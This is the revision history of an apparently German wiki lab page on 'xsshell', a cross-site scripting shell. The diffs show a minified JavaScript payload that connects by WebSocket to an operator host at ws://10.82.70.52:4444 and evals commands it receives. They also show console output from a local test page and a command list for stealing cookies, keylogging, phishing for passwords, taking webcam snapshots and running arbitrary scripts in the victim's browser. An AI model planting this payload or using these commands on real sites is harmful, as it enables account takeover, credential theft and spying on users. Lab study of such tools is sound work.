Xsshell - Versionsgeschichte

Mario.zimmermann: /* Payload */

2021-07-28T13:08:13Z

Payload

Mario.zimmermann: /* Payload */

2021-07-28T13:05:55Z

Payload

Mario.zimmermann: /* Die Shell */

2021-07-28T13:05:31Z

Die Shell

Mario.zimmermann: /* start socket: 1, header: AqHFTtA */

2021-07-28T13:05:19Z

start socket: 1, header: AqHFTtA

Mario.zimmermann: /* start socket: 1, header: AqHFTtA */

2021-07-28T13:05:00Z

start socket: 1, header: AqHFTtA

Mario.zimmermann: /* Payload */

2021-07-28T13:04:45Z

Payload

Mario.zimmermann: /* xsshell */

2021-07-28T13:04:12Z

xsshell

Mario.zimmermann: /* xsshell */

2021-07-28T13:00:43Z

xsshell

Mario.zimmermann: /* Payload */

2021-07-28T12:59:37Z

Payload

Mario.zimmermann: /* Links */

2021-07-28T12:58:23Z

Links

@@ Zeile 35: / Zeile 35: @@
 JS Script Payload :
-  <script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>
+  <script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://127.0.0.1:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>
 =Die Shell=

← Nächstältere Version		Version vom 28. Juli 2021, 13:05 Uhr
Zeile 34:		Zeile 34:


−	JS Script :	+	JS Script Payload :
	<script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>		<script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>

@@ Zeile 42: / Zeile 42: @@
      user agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
      page url:   http://127.0.0.1/xss.php?msg=?
      referrer:   http://127.0.0.1/xss.php?msg=?
      cookies:

@@ Zeile 38: / Zeile 38: @@
 =Die Shell=
-====== start socket: 1, header: AqHFTtA ======
+    start socket: 1, header: AqHFTtA
      socket connected: 1
      user agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0

@@ Zeile 39: / Zeile 39: @@
 =Die Shell=
 ====== start socket: 1, header: AqHFTtA ======
-socket connected: 1
+    socket connected: 1
      user agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
      page url:   http://127.0.0.1/xss.php?msg=?
      referrer:   http://127.0.0.1/xss.php?msg=?
      cookies:
 ====== xsshell ======
 * listening for sockets on :port, at url path: /s

@@ Zeile 46: / Zeile 46: @@
      cookies:
 ====== xsshell ======
-# listening for sockets on :port, at url path: /s
+* listening for sockets on :port, at url path: /s
-# starting console
+* starting console
-# type \? to list available commands
+* type \? to list available commands
-# xsshell > \?
+* xsshell > \?
-# xsshell > \help \? \h: list available commands
+* xsshell > \help \? \h: list available commands
-# xsshell > \alert:      send an alert message to the target set  usage: \alert ALERT_MESSAGE
+* xsshell > \alert:      send an alert message to the target set  usage: \alert ALERT_MESSAGE
-# xsshell > \cs:         get the current cookies from the target set's current page and any cookie updates.
+* xsshell > \cs:         get the current cookies from the target set's current page and any cookie updates.
-# xsshell > \ct:         crash the target set's tab
+* xsshell > \ct:         crash the target set's tab
-# xsshell > \emd:        return a list of media devices accessible to the target set's browser
+* xsshell > \emd:        return a list of media devices accessible to the target set's browser
-# xsshell > \ex:         print out the client exploit javascript
+* xsshell > \ex:         print out the client exploit javascript
-# xsshell > \exm:        print out the minified version of the client exploit javascript
+* xsshell > \exm:        print out the minified version of the client exploit javascript
-# xsshell > \gi:         download all images on the target set's page.
+* xsshell > \gi:         download all images on the target set's page.
-# xsshell > \kl:         start a keylogger on the target set
+* xsshell > \kl:         start a keylogger on the target set
-# xsshell > \ll:         list out any links found on the target set's currently open page
+* xsshell > \ll:         list out any links found on the target set's currently open page
-# xsshell > \pfl:        open a modal on the target set's page prompting them for a username and password
+* xsshell > \pfl:        open a modal on the target set's page prompting them for a username and password
-# xsshell > \ps:         print out socket info for all actively connected websockets
+* xsshell > \ps:         print out socket info for all actively connected websockets
-# xsshell > \q:          exit this program
+* xsshell > \q:          exit this program
-# xsshell > \sf:         send a javascript file to the target set and execute it.
+* xsshell > \sf:         send a javascript file to the target set and execute it.
-# xsshell > \sfl:        resend the last file that was sent using \sf, includes any new changes to the file
+* xsshell > \sfl:        resend the last file that was sent using \sf, includes any new changes to the file
-# xsshell > \src:        get the target set's currently rendered page source
+* xsshell > \src:        get the target set's currently rendered page source
-# xsshell > \st:         set the websockets to target. one or more targets can be set with the following methods:
+* xsshell > \st:         set the websockets to target. one or more targets can be set with the following methods:
-* xsshell >              8        -target a single websocket connection belonging to that id number
+         * xsshell >              8        -target a single websocket connection belonging to that id number
-* xsshell >              1,2,8,10 -targets all websocket IDs in the comma separated list
+         * xsshell >              1,2,8,10 -targets all websocket IDs in the comma separated list
-# xsshell > \wcs:        attempt to take a snapshot from the target set's webcam, if one is available.
+* xsshell > \wcs:        attempt to take a snapshot from the target set's webcam, if one is available. images will be stored in DOWNLOAD_DIR.
-# xsshell > \xhr:        send an xhr request from the target set's current page
+* xsshell > \xhr:        send an xhr request from the target set's current page
-# xsshell >                  usage: \xhr HTTP_METHOD FULL_URL [CONTENT_HEADER] [POST_BODY]
+         * xsshell >                  usage: \xhr HTTP_METHOD FULL_URL [CONTENT_HEADER] [POST_BODY]
 =Links=
 *https://github.com/raz-varren/xsshell

← Nächstältere Version		Version vom 28. Juli 2021, 12:59 Uhr
Zeile 34:		Zeile 34:


−	JS Script : <script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>	+	JS Script :
		+	*<script>(function(){function e(a,b){return function(){return eval(a)}.call(b)}var d=new WebSocket("ws://10.82.70.52:4444/s"),f=function(a){this.send=function(b,c){d.send((c?"z":"")+a+b)}};d.onmessage=function(a){a=a.data;var b=new f(a.slice(0,8));try{e(a.slice(8),b)}catch(c){b.send(c,!0)}}})();</script>

	=Die Shell=		=Die Shell=

← Nächstältere Version		Version vom 28. Juli 2021, 12:58 Uhr
Zeile 80:		Zeile 80:

	=Links=		=Links=
−	*https://github.com/~~shelld3v~~/~~JSshell/blob/master/README.md~~	+	*https://github.com/raz-varren/xsshell